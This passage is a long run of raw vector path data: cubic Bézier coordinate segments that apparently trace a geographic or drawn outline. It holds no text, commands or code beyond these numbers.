89997.00C116424.47 89995.99 116437.85 89999.02 116446.50 89995.48C116457.00 89963.66 116467.50 89931.83 116478.00 89900.00C116521.00 89900.00 116564.00 89900.00 116607.00 89900.00C116605.20 89910.92 116610.75 89925.76 116603.97 89934.03C116572.65 89955.02 116541.32 89976.01 116510.00 89997.00C116511.63 90007.46 116506.71 90022.37 116512.52 90030.00C116565.34 90051.00 116618.17 90072.00 116671.00 90093.00C116724.67 90093.00 116778.33 90093.00 116832.00 90093.00C116853.33 90082.33 116874.67 90071.67 116896.00 90061.00C116906.67 90082.33 116917.33 90103.67 116928.00 90125.00C116928.00 90146.67 116928.00 90168.33 116928.00 90190.00C116938.67 90211.33 116949.33 90232.67 116960.00 90254.00C116960.00 90275.33 116960.00 90296.67 116960.00 90318.00C116949.16 90340.22 116937.43 90362.04 116927.17 90384.52C116906.27 90448.07 116885.21 90511.56 116864.00 90575.00C116864.00 90639.33 116864.00 90703.67 116864.00 90768.00C116831.67 90778.67 116799.33 90789.33 116767.00 90800.00C116745.67 90832.34 116724.33 90864.66 116703.00 90897.00C116691.29 90895.99 116678.66 90899.11 116667.54 90895.27C116647.36 90885.18 116627.18 90875.09 116607.00 90865.00C116585.33 90875.67 116563.67 90886.33 116542.00 90897.00C116552.67 90929.00 116563.33 90961.00 116574.00 90993.00C116595.67 91003.67 116617.33 91014.33 116639.00 91025.00C116637.98 91037.04 116641.12 91050.01 116637.27 91061.46C116627.18 91081.64 116617.09 91101.82 116607.00 91122.00C116564.00 91132.67 116521.00 91143.33 116478.00 91154.00C116467.33 91164.66 116456.67 91175.34 116446.00 91186.00C116467.33 91229.00 116488.67 91272.00 116510.00 91315.00C116520.67 91325.66 116531.33 91336.34 116542.00 91347.00C116541.77 91368.92 116542.46 91390.90 116541.65 91412.78C116531.10 91465.85 116520.55 91518.93 116510.00 91572.00C116520.67 91615.00 116531.33 91658.00 116542.00 91701.00C116520.67 91743.67 116499.33 91786.33 116478.00 91829.00C116489.34 91830.79 116503.75 91825.26 116513.00 91832.05C116533.33 91852.70 116553.67 91873.35 116574.00 91894.00C116574.00 91958.33 116574.00 92022.67 116574.00 92087.00C116552.51 92119.10 116531.25 92151.37 116509.62 92183.38C116499.08 92193.92 116488.54 92204.46 116478.00 92215.00C116478.00 92268.67 116478.00 92322.33 116478.00 92376.00C116466.92 92387.57 116454.78 92398.21 116444.41 92410.40C116423.46 92442.05 116402.74 92473.84 116381.62 92505.38C116360.08 92526.59 116338.54 92547.79 116317.00 92569.00C116306.33 92590.33 116295.67 92611.67 116285.00 92633.00C116253.00 92654.33 116221.00 92675.67 116189.00 92697.00C116189.09 92740.17 116188.83 92783.35 116189.13 92826.52C116199.75 92869.35 116210.38 92912.17 116221.00 92955.00C116210.33 92976.33 116199.67 92997.67 116189.00 93019.00C116167.33 93029.67 116145.67 93040.33 116124.00 93051.00C116102.67 93094.00 116081.33 93137.00 116060.00 93180.00C116028.00 93212.00 115996.00 93244.00 115964.00 93276.00C115921.00 93297.67 115878.00 93319.33 115835.00 93341.00C115803.00 93383.67 115771.00 93426.33 115739.00 93469.00C115728.00 93576.33 115717.00 93683.67 115706.00 93791.00C115684.67 93823.00 115663.33 93855.00 115642.00 93887.00C115631.26 93940.83 115620.68 93994.70 115609.83 94048.51C115588.55 94112.67 115567.28 94176.84 115546.00 94241.00C115513.67 94283.67 115481.33 94326.33 115449.00 94369.00C115427.67 94358.33 115406.33 94347.67 115385.00 94337.00C115363.33 94347.67 115341.67 94358.33 115320.00 94369.00C115308.66 94370.83 115294.13 94365.17 115284.98 94372.14C115275.15 94382.63 115264.42 94392.45 115255.26 94403.47C115244.84 94424.31 115234.42 94445.16 115224.00 94466.00C115256.00 94508.67 115288.00 94551.33 115320.00 94594.00C115309.33 94647.67 115298.67 94701.33 115288.00 94755.00C115298.67 94776.66 115309.33 94798.34 115320.00 94820.00C115309.33 94852.00 115298.67 94884.00 115288.00 94916.00C115309.67 94959.00 115331.33 95002.00 115353.00 95045.00C115353.00 95184.33 115353.00 95323.67 115353.00 95463.00C115320.67 95495.00 115288.33 95527.00 115256.00 95559.00C115256.00 95591.33 115256.00 95623.67 115256.00 95656.00C115277.33 95688.00 115298.67 95720.00 115320.00 95752.00C115320.00 95795.00 115320.00 95838.00 115320.00 95881.00C115352.33 95956.00 115384.67 96031.00 115417.00 96106.00C115405.92 96138.62 115395.59 96171.51 115384.03 96203.94C115373.68 96224.63 115363.35 96245.32 115353.00 96266.00C115310.00 96298.33 115267.00 96330.67 115224.00 96363.00C115192.00 96363.00 115160.00 96363.00 115128.00 96363.00C115106.33 96341.67 115084.67 96320.33 115063.00 96299.00C115041.67 96299.00 115020.33 96299.00 114999.00 96299.00C114999.09 96320.51 114998.83 96342.01 114999.13 96363.52C115009.71 96406.20 115020.63 96448.80 115031.00 96491.54C115031.00 96523.69 115031.00 96555.85 115031.00 96588.00C115009.67 96609.34 114988.33 96630.66 114967.00 96652.00C114913.87 96759.80 114859.68 96867.07 114805.83 96974.51C114784.24 97039.13 114763.22 97103.99 114741.26 97168.47C114730.84 97189.31 114720.42 97210.16 114710.00 97231.00C114720.67 97284.67 114731.33 97338.33 114742.00 97392.00C114731.33 97424.00 114720.67 97456.00 114710.00 97488.00C114688.33 97498.67 114666.67 97509.33 114645.00 97520.00C114655.62 97563.19 114666.58 97606.29 114677.00 97649.54C114676.01 97661.08 114679.08 97673.53 114675.28 97684.50C114654.72 97726.43 114633.96 97768.26 114613.00 97810.00C114634.33 97842.00 114655.67 97874.00 114677.00 97906.00C114677.00 97927.67 114677.00 97949.33 114677.00 97971.00C114698.67 97992.33 114720.33 98013.67 114742.00 98035.00C114752.67 98056.33 114763.33 98077.67 114774.00 98099.00C114763.33 98131.33 114752.67 98163.67 114742.00 98196.00C114752.67 98238.67 114763.33 98281.33 114774.00 98324.00C114720.33 98410.00 114666.67 98496.00 114613.00 98582.00C114623.67 98635.33 114634.33 98688.67 114645.00 98742.00C114602.33 98827.66 114559.67 98913.34 114517.00 98999.00C114506.09 99000.36 114491.80 98996.28 114483.00 99001.03C114472.66 99022.02 114462.34 99043.01 114452.00 99064.00C114462.67 99096.00 114473.33 99128.00 114484.00 99160.00C114482.99 99171.73 114486.12 99184.38 114482.25 99195.52C114472.03 99216.13 114462.13 99236.91 114451.62 99257.38C114440.96 99268.51 114429.25 99278.81 114419.26 99290.48C114408.67 99311.43 114398.46 99332.56 114387.62 99353.38C114377.08 99363.92 114366.54 99374.46 114356.00 99385.00C114356.00 99417.33 114356.00 99449.67 114356.00 99482.00C114377.33 99514.00 114398.67 99546.00 114420.00 99578.00C114409.33 99599.66 114398.67 99621.34 114388.00 99643.00C114356.00 99664.33 114324.00 99685.67 114292.00 99707.00C114259.67 99760.67 114227.33 99814.33 114195.00 99868.00C114195.00 99921.33 114195.00 99974.67 114195.00 100028.00C114184.33 100060.33 114173.67 100092.67 114163.00 100125.00C114184.33 100146.33 114205.67 100167.67 114227.00 100189.00C114225.70 100199.03 114229.62 100214.29 114225.00 100221.00C114213.08 100222.66 114198.98 100217.09 114188.97 100225.03C114126.65 100266.69 114064.32 100308.34 114002.00 100350.00C113991.09 100351.79 113976.27 100346.28 113968.00 100353.00C113947.34 100384.00 113926.66 100415.00 113906.00 100446.00C113906.00 100478.33 113906.00 100510.67 113906.00 100543.00C113757.48 100627.33 113609.13 100711.97 113461.06 100797.10C113449.69 100803.39 113436.08 100804.11 113423.75 100808.00C113391.50 100816.00 113359.25 100824.00 113327.00 100832.00C113295.00 100821.33 113263.00 100810.67 113231.00 100800.00C113220.01 100778.47 113208.67 100757.12 113197.90 100735.48C113187.26 100681.99 113176.63 100628.49 113166.00 100575.00C113134.00 100553.67 113102.00 100532.33 113070.00 100511.00C113048.33 100511.00 113026.67 100511.00 113005.00 100511.00C112994.16 100532.44 112983.71 100554.07 112972.62 100575.38C112951.24 100596.66 112930.05 100618.14 112908.56 100639.30C112876.71 100660.87 112844.85 100682.43 112813.00 100704.00C112780.67 100682.33 112748.33 100660.67 112716.00 100639.00C112673.00 100649.67 112630.00 100660.33 112587.00 100671.00C112565.67 100714.00 112544.33 100757.00 112523.00 100800.00C112501.67 100800.00 112480.33 100800.00 112459.00 100800.00C112448.16 100821.44 112437.71 100843.07 112426.62 100864.38C112405.08 100885.92 112383.54 100907.46 112362.00 100929.00C112297.67 100918.33 112233.33 100907.67 112169.00 100897.00C112137.00 100929.00 112105.00 100961.00 112073.00 100993.00C112051.67 101046.67 112030.33 101100.33 112009.00 101154.00C111966.00 101164.67 111923.00 101175.33 111880.00 101186.00C111848.00 101261.00 111816.00 101336.00 111784.00 101411.00C111773.00 101421.67 111762.00 101432.33 111751.00 101443.00C111708.33 101443.00 111665.67 101443.00 111623.00 101443.00C111590.67 101464.33 111558.33 101485.67 111526.00 101507.00C111526.00 101550.00 111526.00 101593.00 111526.00 101636.00C111504.67 101668.33 111483.33 101700.67 111462.00 101733.00C111462.00 101765.00 111462.00 101797.00 111462.00 101829.00C111472.67 101850.33 111483.33 101871.67 111494.00 101893.00C111515.67 101903.67 111537.33 101914.33 111559.00 101925.00C111557.16 101936.23 111562.81 101951.50 111555.94 101960.01C111523.60 101981.08 111491.75 102002.97 111459.07 102023.47C111438.72 102033.65 111418.35 102043.82 111398.00 102054.00C111387.33 102086.33 111376.67 102118.67 111366.00 102151.00C111366.00 102204.33 111366.00 102257.67 111366.00 102311.00C111387.33 102332.67 111408.67 102354.33 111430.00 102376.00C111430.00 102397.33 111430.00 102418.67 111430.00 102440.00C111387.00 102504.33 111344.00 102568.67 111301.00 102633.00C111302.01 102644.71 111298.89 102657.34 111302.73 102668.46C111312.82 102688.64 111322.91 102708.82 111333.00 102729.00C111331.45 102741.02 111336.38 102754.98 111330.00 102765.55C111309.67 102796.36 111289.33 102827.18 111269.00 102858.00C111279.67 102890.00 111290.33 102922.00 111301.00 102954.00C111301.00 102975.67 111301.00 102997.33 111301.00 103019.00C111290.33 103029.67 111279.67 103040.33 111269.00 103051.00C111237.00 103061.67 111205.00 103072.33 111173.00 103083.00C111162.33 103104.33 111151.67 103125.67 111141.00 103147.00C111141.84 103159.29 111139.17 103172.14 111142.66 103184.03C111152.77 103214.69 111162.89 103245.34 111173.00 103276.00C111173.00 103297.33 111173.00 103318.67 111173.00 103340.00C111130.00 103340.00 111087.00 103340.00 111044.00 103340.00C111033.33 103308.00 111022.67 103276.00 111012.00 103244.00C110990.67 103244.00 110969.33 103244.00 110948.00 103244.00C110946.70 103254.03 110950.62 103269.29 110946.00 103276.00C110936.90 103277.04 110921.98 103273.91 110916.53 103277.58C110932.57 103325.38 110947.75 103373.49 110966.05 103420.50C110992.03 103490.33 111018.01 103560.17 111044.00 103630.00C111043.89 103651.50 111044.23 103673.01 111043.83 103694.51C111033.22 103726.34 111022.61 103758.17 111012.00 103790.00C111001.16 103801.29 110989.31 103811.78 110979.11 103823.60C110925.74 103919.73 110872.37 104015.87 110819.00 104112.00C110819.00 104133.33 110819.00 104154.67 110819.00 104176.00C110776.00 104197.33 110733.00 104218.67 110690.00 104240.00C110657.58 104294.70 110624.57 104349.06 110592.53 104403.97C110582.19 104424.76 110572.22 104445.73 110561.62 104466.38C110529.41 104498.25 110497.21 104530.13 110465.00 104562.00C110454.33 104594.00 110443.67 104626.00 110433.00 104658.00C110422.33 104669.00 110411.67 104680.00 110401.00 104691.00C110369.00 104658.67 110337.00 104626.33 110305.00 104594.00C110240.67 104594.00 110176.33 104594.00 110112.00 104594.00C110101.33 104615.33 110090.67 104636.67 110080.00 104658.00C110080.00 104690.33 110080.00 104722.67 110080.00 104755.00C110058.33 104744.33 110036.67 104733.67 110015.00 104723.00C109993.67 104733.67 109972.33 104744.33 109951.00 104755.00C109929.67 104808.67 109908.33 104862.33 109887.00 104916.00C109865.13 104926.64 109843.46 104937.69 109821.47 104948.08C109746.65 104958.72 109671.82 104969.36 109597.00 104980.00C109565.00 104969.33 109533.00 104958.67 109501.00 104948.00C109479.33 104948.00 109457.67 104948.00 109436.00 104948.00C109425.33 104958.67 109414.67 104969.33 109404.00 104980.00C109393.33 104969.33 109382.67 104958.67 109372.00 104948.00C109340.00 104969.33 109308.00 104990.67 109276.00 105012.00C109168.67 104990.67 109061.33 104969.33 108954.00 104948.00C108932.67 104958.67 108911.33 104969.33 108890.00 104980.00C108815.00 104980.00 108740.00 104980.00 108665.00 104980.00C108675.67 105012.00 108686.33 105044.00 108697.00 105076.00C108686.33 105119.00 108675.67 105162.00 108665.00 105205.00C108654.97 105206.30 108639.71 105202.38 108633.00 105207.00C108633.00 105227.67 108633.00 105248.33 108633.00 105269.00C108590.00 105301.33 108547.00 105333.67 108504.00 105366.00C108504.00 105398.00 108504.00 105430.00 108504.00 105462.00C108471.72 105494.06 108439.94 105526.61 108408.00 105559.00C108396.39 105591.93 108385.81 105625.27 108373.53 105657.93C108363.35 105678.28 108353.18 105698.65 108343.00 105719.00C108342.14 105731.60 108344.87 105744.78 108341.34 105756.99C108331.23 105787.32 108321.11 105817.66 108311.00 105848.00C108309.21 105858.92 108314.71 105873.72 108308.00 105882.03C108277.00 105903.02 108246.00 105924.01 108215.00 105945.00C108204.00 105934.00 108193.00 105923.00 108182.00 105912.00C108150.55 105944.88 108118.13 105976.79 108086.00 106009.00C108053.67 105998.33 108021.33 105987.67 107989.00 105977.00C107924.86 106009.12 107860.65 106041.08 107796.56 106073.30C107764.37 106094.87 107732.19 106116.43 107700.00 106138.00C107678.67 106138.00 107657.33 106138.00 107636.00 106138.00C107614.57 106148.84 107592.94 106159.30 107571.62 106170.37C107560.75 106180.92 107549.87 106191.46 107539.00 106202.00C107527.29 106200.99 107514.66 106204.11 107503.54 106200.27C107483.36 106190.18 107463.18 106180.09 107443.00 106170.00C107421.67 106180.67 107400.33 106191.33 107379.00 106202.00C107379.00 106234.00 107379.00 106266.00 107379.00 106298.00C107346.67 106308.67 107314.33 106319.33 107282.00 106330.00C107292.67 106351.67 107303.33 106373.33 107314.00 106395.00C107303.33 106416.33 107292.67 106437.67 107282.00 106459.00C107282.00 106512.67 107282.00 106566.33 107282.00 106620.00C107250.00 106620.00 107218.00 106620.00 107186.00 106620.00C107187.39 106631.46 107183.14 106644.79 107188.25 106655.02C107219.50 106697.02 107250.75 106739.01 107282.00 106781.00C107280.70 106791.03 107284.62 106806.29 107280.00 106813.00C107259.33 106813.00 107238.67 106813.00 107218.00 106813.00C107196.67 106791.33 107175.33 106769.67 107154.00 106748.00C107143.09 106749.36 107128.80 106745.28 107120.00 106750.03C107109.67 106771.02 107099.33 106792.01 107089.00 106813.00C107088.00 106823.17 107091.00 106837.33 107087.50 106845.00C107056.00 106845.00 107024.50 106845.00 106993.00 106845.00C106971.33 106866.33 106949.67 106887.67 106928.00 106909.00C106885.33 106909.00 106842.67 106909.00 106800.00 106909.00C106798.70 106898.97 106802.62 106883.71 106798.00 106877.00C106786.07 106878.64 106771.99 106873.12 106761.94 106881.00C106731.62 106901.00 106701.31 106921.00 106671.00 106941.00C106671.00 106962.67 106671.00 106984.33 106671.00 107006.00C106660.41 107007.93 106645.01 107002.09 106637.50 107009.00C106627.33 107029.33 106617.17 107049.67 106607.00 107070.00C106617.67 107080.67 106628.33 107091.33 106639.00 107102.00C106639.00 107134.33 106639.00 107166.67 106639.00 107199.00C106628.33 107209.67 106617.67 107220.33 106607.00 107231.00C106607.00 107263.00 106607.00 107295.00 106607.00 107327.00C106628.33 107348.33 106649.67 107369.67 106671.00 107391.00C106649.67 107402.00 106628.33 107413.00 106607.00 107424.00C106608.77 107435.35 106603.31 107449.69 106610.00 107459.00C106630.33 107479.33 106650.67 107499.67 106671.00 107520.00C106724.67 107520.00 106778.33 107520.00 106832.00 107520.00C106832.00 107552.33 106832.00 107584.67 106832.00 107617.00C106843.56 107628.08 106854.21 107640.21 106866.39 107650.58C106897.93 107671.39 106929.46 107692.19 106961.00 107713.00C106950.00 107723.67 106939.00 107734.33 106928.00 107745.00C106928.69 107754.52 106926.62 107770.55 106929.03 107776.00C106939.69 107765.67 106950.35 107755.33 106961.00 107745.00C106982.33 107755.67 107003.67 107766.33 107025.00 107777.00C107003.67 107788.00 106982.33 107799.00 106961.00 107810.00C106971.67 107820.67 106982.33 107831.33 106993.00 107842.00C106993.00 107863.33 106993.00 107884.67 106993.00 107906.00C106982.33 107927.33 106971.67 107948.67 106961.00 107970.00C106928.67 107970.00 106896.33 107970.00 106864.00 107970.00C106864.00 107991.67 106864.00 108013.33 106864.00 108035.00C106874.17 108036.00 106888.33 108033.00 106896.00 108036.50C106896.00 108068.00 106896.00 108099.50 106896.00 108131.00C106885.33 108141.67 106874.67 108152.33 106864.00 108163.00C106864.00 108184.33 106864.00 108205.67 106864.00 108227.00C106842.67 108216.33 106821.33 108205.67 106800.00 108195.00C106800.00 108216.67 106800.00 108238.33 106800.00 108260.00C106778.67 108238.33 106757.33 108216.67 106736.00 108195.00C106725.65 108196.32 106709.98 108192.33 106703.00 108197.03C106703.00 108218.02 106703.00 108239.01 106703.00 108260.00C106714.00 108270.67 106725.00 108281.33 106736.00 108292.00C106714.33 108292.00 106692.67 108292.00 106671.00 108292.00C106681.67 108313.33 106692.33 108334.67 106703.00 108356.00C106692.33 108366.67 106681.67 108377.33 106671.00 108388.00C106649.67 108388.00 106628.33 108388.00 106607.00 108388.00C106585.67 108366.67 106564.33 108345.33 106543.00 108324.00C106532.33 108324.00 106521.67 108324.00 106511.00 108324.00C106521.67 108367.00 106532.33 108410.00 106543.00 108453.00C106510.67 108431.33 106478.33 108409.67 106446.00 108388.00C106424.67 108388.00 106403.33 108388.00 106382.00 108388.00C106392.67 108409.67 106403.33 108431.33 106414.00 108453.00C106403.33 108463.67 106392.67 108474.33 106382.00 108485.00C106383.30 108495.03 106379.38 108510.29 106384.00 108517.00C106404.67 108517.00 106425.33 108517.00 106446.00 108517.00C106456.67 108560.00 106467.33 108603.00 106478.00 108646.00C106467.33 108656.67 106456.67 108667.33 106446.00 108678.00C106435.16 108656.23 106424.72 108634.26 106413.62 108612.62C106403.08 108602.08 106392.54 108591.54 106382.00 108581.00C106360.40 108602.41 106339.08 108624.08 106318.00 108646.00C106339.33 108678.00 106360.67 108710.00 106382.00 108742.00C106371.33 108731.33 106360.67 108720.67 106350.00 108710.00C106306.90 108731.13 106263.90 108752.46 106221.00 108774.00C106222.30 108784.03 106218.38 108799.29 106223.00 108806.00C106243.67 108806.00 106264.33 108806.00 106285.00 108806.00C106274.33 108816.67 106263.67 108827.33 106253.00 108838.00C106253.00 108881.00 106253.00 108924.00 106253.00 108967.00C106231.67 108967.00 106210.33 108967.00 106189.00 108967.00C106178.33 108988.33 106167.67 109009.67 106157.00 109031.00C106157.00 109063.33 106157.00 109095.67 106157.00 109128.00C106145.61 109129.76 106131.31 109124.33 106121.91 109131.00C106111.94 109140.67 106101.97 109150.33 106092.00 109160.00C106081.33 109149.33 106070.67 109138.67 106060.00 109128.00C106028.00 109160.00 105996.00 109192.00 105964.00 109224.00C105953.97 109225.32 105938.65 109221.34 105932.00 109226.03C105932.00 109247.02 105932.00 109268.01 105932.00 109289.00C105921.98 109287.67 105906.60 109291.70 105900.00 109286.94C105898.66 109277.27 105902.70 109262.24 105897.94 109256.00C105886.61 109258.12 105871.52 109251.37 105863.00 109260.12C105853.67 109269.75 105844.33 109279.38 105835.00 109289.00C105824.33 109278.00 105813.67 109267.00 105803.00 109256.00C105792.33 109277.67 105781.67 109299.33 105771.00 109321.00C105749.67 109321.00 105728.33 109321.00 105707.00 109321.00C105685.33 109331.67 105663.67 109342.33 105642.00 109353.00C105651.81 109353.67 105668.31 109351.66 105673.95 109354.00C105662.74 109364.48 105652.26 109375.92 105640.53 109385.74C105619.69 109396.16 105598.84 109406.57 105578.00 109417.00C105578.00 109438.33 105578.00 109459.67 105578.00 109481.00C105566.66 109482.81 105552.19 109477.22 105543.00 109484.09C105533.33 109494.06 105523.67 109504.03 105514.00 109514.00C105503.97 109512.68 105488.65 109516.66 105482.00 109511.97C105482.00 109490.98 105482.00 109469.99 105482.00 109449.00C105471.64 109450.30 105456.04 109446.37 105449.00 109451.00C105447.70 109460.37 105451.62 109474.95 105447.00 109481.00C105438.16 109481.68 105422.77 109479.64 105418.02 109482.02C105439.34 109503.34 105460.67 109524.67 105482.00 109546.00C105471.00 109567.33 105460.00 109588.67 105449.00 109610.00C105459.36 109611.30 105474.96 109607.37 105482.00 109612.00C105480.70 109621.37 105484.63 109635.98 105479.98 109642.00C105437.66 109642.00 105395.33 109642.00 105353.00 109642.00C105363.58 109643.36 105377.53 109639.29 105386.00 109644.03C105396.33 109665.02 105406.67 109686.01 105417.00 109707.00C105406.98 109705.67 105391.60 109709.70 105385.00 109704.94C105383.70 109695.26 105387.62 109680.36 105383.00 109674.00C105373.64 109675.31 105358.99 109671.35 105353.00 109676.03C105353.00 109697.02 105353.00 109718.01 105353.00 109739.00C105342.33 109728.33 105331.67 109717.67 105321.00 109707.00C105319.23 109718.35 105324.69 109732.69 105318.00 109742.00C105308.33 109751.67 105298.67 109761.33 105289.00 109771.00C105278.33 109760.33 105267.67 109749.67 105257.00 109739.00C105224.67 109739.00 105192.33 109739.00 105160.00 109739.00C105149.33 109728.33 105138.67 109717.67 105128.00 109707.00C105117.33 109717.67 105106.67 109728.33 105096.00 109739.00C105095.33 109729.48 105097.34 109713.50 105095.00 109708.00C105084.67 109718.33 105074.33 109728.67 105064.00 109739.00C105064.00 109760.33 105064.00 109781.67 105064.00 109803.00C105074.67 109813.67 105085.33 109824.33 105096.00 109835.00C105085.97 109836.30 105070.71 109832.38 105064.00 109837.00C105064.00 109857.67 105064.00 109878.33 105064.00 109899.00C105053.00 109910.00 105042.00 109921.00 105031.00 109932.00C105020.97 109933.30 105005.71 109929.38 104999.00 109934.00C104997.70 109943.37 105001.62 109957.95 104997.00 109964.00C104987.43 109964.85 104974.47 109962.31 104967.00 109965.26C104967.00 110018.51 104967.00 110071.75 104967.00 110125.00C104956.33 110135.67 104945.67 110146.33 104935.00 110157.00C104933.99 110168.71 104937.11 110181.34 104933.27 110192.46C104923.18 110212.64 104913.09 110232.82 104903.00 110253.00C104901.70 110242.97 104905.62 110227.71 104901.00 110221.00C104891.63 110222.30 104877.02 110218.37 104871.00 110223.02C104871.00 110265.34 104871.00 110307.67 104871.00 110350.00C104881.67 110360.67 104892.33 110371.33 104903.00 110382.00C104892.33 110392.67 104881.67 110403.33 104871.00 110414.00C104871.00 110435.33 104871.00 110456.67 104871.00 110478.00C104861.48 110478.67 104845.50 110476.66 104840.00 110479.00C104850.33 110489.33 104860.67 110499.67 104871.00 110510.00C104860.98 110511.33 104845.60 110507.30 104839.00 110512.06C104837.66 110521.73 104841.70 110536.76 104836.94 110543.00C104827.36 110543.68 104813.35 110541.65 104806.52 110544.00C104817.34 110565.00 104828.17 110586.00 104839.00 110607.00C104828.64 110608.30 104813.04 110604.37 104806.00 110609.00C104807.33 110618.36 104803.31 110633.06 104808.06 110639.00C104817.74 110640.30 104832.64 110636.38 104839.00 110641.00C104839.00 110661.67 104839.00 110682.33 104839.00 110703.00C104839.67 110693.48 104837.66 110677.50 104840.00 110672.00C104850.33 110682.33 104860.67 110692.67 104871.00 110703.00C104869.24 110714.39 104874.67 110728.69 104868.00 110738.09C104858.33 110748.06 104848.67 110758.03 104839.00 110768.00C104828.64 110769.30 104813.04 110765.37 104806.00 110770.00C104806.00 110780.00 104806.00 110790.00 104806.00 110800.00C104806.00 110791.27 104806.00 110772.09 104806.00 110770.00C104806.00 110790.67 104806.00 110811.33 104806.00 110832.00C104795.33 110821.33 104784.67 110810.67 104774.00 110800.00C104764.48 110800.67 104748.50 110798.66 104743.00 110801.00C104753.33 110811.33 104763.67 110821.67 104774.00 110832.00C104752.67 110832.00 104731.33 110832.00 104710.00 110832.00C104720.67 110842.67 104731.33 110853.33 104742.00 110864.00C104731.97 110865.30 104716.71 110861.38 104710.00 110866.00C104708.71 110875.37 104712.61 110889.95 104708.00 110896.00C104687.33 110896.00 104666.67 110896.00 104646.00 110896.00C104656.67 110906.67 104667.33 110917.33 104678.00 110928.00C104656.33 110928.00 104634.67 110928.00 104613.00 110928.00C104602.33 110939.00 104591.67 110950.00 104581.00 110961.00C104580.89 110982.50 104581.23 111004.01 104580.83 111025.51C104570.22 111057.34 104559.61 111089.17 104549.00 111121.00C104538.97 111122.30 104523.71 111118.38 104517.00 111123.00C104514.99 111134.13 104521.43 111148.66 104512.97 111157.19C104503.46 111167.31 104493.09 111176.81 104484.26 111187.47C104473.84 111208.31 104463.43 111229.16 104453.00 111250.00C104442.33 111239.33 104431.67 111228.67 104421.00 111218.00C104410.00 111228.67 104399.00 111239.33 104388.00 111250.00C104387.89 111271.50 104388.22 111293.01 104387.83 111314.51C104377.22 111346.67 104366.61 111378.84 104356.00 111411.00C104356.00 111432.33 104356.00 111453.67 104356.00 111475.00C104345.83 111476.00 104331.67 111473.00 104324.00 111476.50C104324.00 111508.00 104324.00 111539.50 104324.00 111571.00C104313.21 111582.58 104301.40 111593.38 104291.26 111605.47C104280.84 111626.31 104270.43 111647.16 104260.00 111668.00C104238.33 111668.00 104216.67 111668.00 104195.00 111668.00C104206.00 111700.00 104217.00 111732.00 104228.00 111764.00C104206.33 111775.00 104184.67 111786.00 104163.00 111797.00C104161.07 111807.59 104166.91 111822.99 104160.00 111830.50C104139.67 111840.67 104119.33 111850.83 104099.00 111861.00C104099.00 111882.33 104099.00 111903.67 104099.00 111925.00C104109.67 111914.33 104120.33 111903.67 104131.00 111893.00C104132.30 111903.03 104128.38 111918.29 104133.00 111925.00C104141.86 111925.67 104157.17 111923.66 104162.00 111926.00C104151.67 111936.33 104141.33 111946.67 104131.00 111957.00C104129.70 111967.03 104133.62 111982.29 104129.00 111989.00C104120.07 111989.35 104105.37 111988.30 104100.00 111989.52C104121.11 112000.51 104142.40 112011.15 104163.38 112022.38C104173.92 112032.92 104184.46 112043.46 104195.00 112054.00C104184.33 112064.67 104173.67 112075.33 104163.00 112086.00C104173.03 112087.30 104188.29 112083.38 104195.00 112088.00C104193.70 112097.37 104197.62 112111.95 104193.00 112118.00C104183.63 112119.29 104169.05 112115.39 104163.00 112120.00C104163.00 112140.67 104163.00 112161.33 104163.00 112182.00C104184.67 112182.00 104206.33 112182.00 104228.00 112182.00C104217.00 112192.67 104206.00 112203.33 104195.00 112214.00C104186.27 112214.00 104167.09 112214.00 104165.00 112214.00C104174.36 112215.31 104189.01 112211.35 104195.00 112216.03C104195.00 112237.02 104195.00 112258.01 104195.00 112279.00C104184.33 112289.67 104173.67 112300.33 104163.00 112311.00C104163.00 112302.27 104163.00 112283.09 104163.00 112281.00C104160.96 112292.04 104167.45 112306.62 104159.00 112315.00C104149.67 112324.33 104140.33 112333.67 104131.00 112343.00C104141.03 112344.30 104156.29 112340.38 104163.00 112345.00C104161.70 112354.37 104165.62 112368.95 104161.00 112375.00C104151.63 112376.30 104137.05 112372.38 104131.00 112377.00C104129.70 112386.37 104133.62 112400.95 104129.00 112407.00C104119.64 112408.33 104104.94 112404.31 104099.00 112409.06C104096.92 112420.40 104103.52 112435.33 104095.00 112444.00C104075.00 112464.00 104055.00 112484.00 104035.00 112504.00C104045.67 112514.67 104056.33 112525.33 104067.00 112536.00C104056.33 112546.67 104045.67 112557.33 104035.00 112568.00C104045.03 112569.31 104060.32 112565.36 104067.00 112570.02C104067.00 112612.34 104067.00 112654.67 104067.00 112697.00C104066.66 112687.39 104067.67 112672.08 104066.50 112666.00C104056.00 112687.00 104045.50 112708.00 104035.00 112729.00C104033.99 112740.71 104037.11 112753.34 104033.27 112764.46C104023.18 112784.64 104013.09 112804.82 104003.00 112825.00C104003.00 112857.33 104003.00 112889.67 104003.00 112922.00C104002.99 112913.29 104003.03 112894.00 104002.98 112892.03C104001.85 112903.37 104005.57 112915.93 104000.70 112926.45C103990.47 112946.30 103980.24 112966.15 103970.00 112986.00C103971.33 112996.02 103967.30 113011.40 103972.06 113018.00C103982.37 113018.00 103992.69 113018.00 104003.00 113018.00C103992.65 113019.32 103976.98 113015.33 103970.00 113020.03C103970.00 113041.02 103970.00 113062.01 103970.00 113083.00C103981.00 113093.67 103992.00 113104.33 104003.00 113115.00C103992.00 113125.67 103981.00 113136.33 103970.00 113147.00C103981.00 113157.67 103992.00 113168.33 104003.00 113179.00C104003.00 113232.67 104003.00 113286.33 104003.00 113340.00C103992.00 113350.67 103981.00 113361.33 103970.00 113372.00C103968.23 113383.35 103973.69 113397.69 103967.00 113407.00C103957.33 113416.67 103947.67 113426.33 103938.00 113436.00C103947.52 113436.67 103963.50 113434.66 103969.00 113437.00C103958.67 113447.33 103948.33 113457.67 103938.00 113468.00C103938.00 113489.67 103938.00 113511.33 103938.00 113533.00C103948.67 113554.33 103959.33 113575.67 103970.00 113597.00C103970.00 113618.33 103970.00 113639.67 103970.00 113661.00C103979.82 113661.69 103996.30 113659.62 104001.97 113662.03C103991.31 113672.69 103980.66 113683.34 103970.00 113694.00C103981.00 113704.67 103992.00 113715.33 104003.00 113726.00C104001.19 113737.34 104006.78 113751.81 103999.91 113761.00C103989.94 113770.67 103979.97 113780.33 103970.00 113790.00C103980.36 113791.30 103995.96 113787.37 104003.00 113792.00C104005.04 113803.04 103998.55 113817.62 104007.00 113826.00C104016.33 113835.33 104025.67 113844.67 104035.00 113854.00C104024.33 113864.67 104013.67 113875.33 104003.00 113886.00C104035.00 113907.67 104067.00 113929.33 104099.00 113951.00C104099.68 113941.48 104097.64 113925.46 104100.02 113920.00C104110.91 113930.48 104121.02 113941.95 104132.47 113951.74C104153.31 113962.16 104174.16 113972.57 104195.00 113983.00C104196.81 113994.32 104191.22 114008.79 104198.08 114017.97C104218.95 114038.08 104239.60 114058.42 104260.00 